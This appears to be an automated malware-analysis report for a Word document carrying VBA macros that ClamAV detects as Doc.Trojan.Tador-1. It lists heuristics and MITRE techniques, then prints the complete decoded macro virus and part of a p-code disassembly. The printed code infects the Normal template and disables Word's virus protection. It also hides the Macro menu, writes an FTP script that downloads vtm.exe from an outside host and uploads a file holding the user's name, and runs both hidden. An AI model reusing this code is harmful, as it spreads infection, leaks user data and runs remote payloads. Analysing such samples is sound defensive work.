MALICIOUS
340
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious OLE document containing VBA macros. The AutoOpen macro triggers the VTI subroutine, which attempts to export and import VBA components, potentially modifying the Normal template and system registry keys. The VTI subroutine also writes to 'HKEY_CURRENT_USER\VT' with a counter, suggesting an attempt at persistence or evasion. The ClamAV detection as 'Doc.Trojan.Tador-1' further confirms its malicious nature.
Heuristics 7
-
ClamAV: Doc.Trojan.Tador-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Tador-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9125 bytes |
SHA-256: 55d341abc1a685a25086e361d585ad2875cda7fa3942e09f8366eeca83754f3e |
|||
|
Detection
ClamAV:
Doc.Trojan.Tador-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "VT"
Sub AutoOpen()
On Error Resume Next
Call VTI
Call VTP
Call VTA
ActiveDocument.Save
End Sub
Sub AutoClose()
On Error Resume Next
Call VTI
Call VTP
Call VTA
ActiveDocument.Save
End Sub
Sub AutoNew()
On Error Resume Next
Call VTI
End Sub
Sub AutoExit()
On Error Resume Next
Call VTI
End Sub
Sub VTI()
On Error Resume Next
Set Nor = NormalTemplate.VBProject.VBComponents
Set Doc = ActiveDocument.VBProject.VBComponents
For i = 1 To Nor.Count
If Nor.Item(i).Name <> "VT" Then
tam = Nor.Item(i).CodeModule.CountOfLines
If tam > 0 Then
Nor.Item(i).CodeModule.DeleteLines 1, tam
End If
End If
Next
If Nor.Item("VT").Name <> "VT" Then
Doc("VT").Export "c:\VT.001"
Nor.Import "c:\VT.001"
NormalTemplate.Save
System.PrivateProfileString("", "HKEY_CURRENT_USER\VT", "Cont") = 0
End If
If Doc.Item("VT").Name <> "VT" Then
Nor("VT").Export "c:\VT.001"
Doc.Import "c:\VT.001"
Cont = System.PrivateProfileString("", "HKEY_CURRENT_USER\VT", "Cont")
Cont = Cont + 1
System.PrivateProfileString("", "HKEY_CURRENT_USER\VT", "Cont") = Cont
End If
End Sub
Sub VTP()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
WordBasic.DisableAutoMacros 0
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:="MGA"
ActiveDocument.ReadOnlyRecommended = False
CommandBars("Tools").Controls("Macro").Visible = False
End Sub
Sub VTA()
On Error Resume Next
Nome = Left(Application.UserName, 4)
Qtd = System.PrivateProfileString("", "HKEY_CURRENT_USER\VT", "Cont")
Open "c:\" & Nome & ".001" For Output As #1
Print #1, "Writer by SVX"
Print #1, "VXName: VT"
Print #1, "UserName: " & Nome
Print #1, "Contador: " & Qtd
Close #1
Open "c:\VT.ftp" For Output As #1
Print #1, "open ftp.hpg.com.br"
Print #1, "tlbysvx"
Print #1, "12345"
Print #1, "hash"
Print #1, "bin"
Print #1, "prompt"
Print #1, "lcd c:\"
Print #1, "mget vtm.exe"
Print #1, "send c:\" & Nome & ".001"
Print #1, "bye"
Close #1
Shell "c:\windows\ftp.exe -s:c:\VT.ftp", vbHide
Shell "c:\vtm.exe", vbHide
End Sub
' Processing file: /opt/analyzer/scan_staging/e8cd2c53f7954c75a5036332dee09e40.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/VT - 4874 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' OnError (Resume Next)
' Line #2:
' ArgsCall (Call) VTI 0x0000
' Line #3:
' ArgsCall (Call) VTP 0x0000
' Line #4:
' ArgsCall (Call) VTA 0x0000
' Line #5:
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' Line #6:
' EndSub
' Line #7:
' Line #8:
' FuncDefn (Sub AutoClose())
' Line #9:
' OnError (Resume Next)
' Line #10:
' ArgsCall (Call) VTI 0x0000
' Line #11:
' ArgsCall (Call) VTP 0x0000
' Line #12:
' ArgsCall (Call) VTA 0x0000
' Line #13:
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' Line #14:
' EndSub
' Line #15:
' Line #16:
' FuncDefn (Sub AutoNew())
' Line #17:
' OnError (Resume Next)
' Line #18:
' ArgsCall (Call) VTI 0x0000
' Line #19:
' EndSub
' Line #20:
' FuncDefn (Sub AutoExit())
' Line #21:
' OnError (Resume Next)
' Line #22:
' ArgsCall (Call) VTI 0x0000
' Line #23:
' EndSub
' Line #24:
' Line #25:
' FuncDefn (Sub VTI())
' Line #26:
' OnError (Resume Next)
' Line #27:
' SetStmt
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' Set Nor
' Line #28:
' SetStmt
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' Set Doc
' Line #29:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld Nor
' MemLd Count
' For
' Line #30:
' Ld i
' Ld Nor
' ArgsMemLd Item 0x0001
' MemLd New
' LitStr 0x0002 "VT"
' Ne
' IfBlock
' Line #31:
' Ld i
' Ld
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.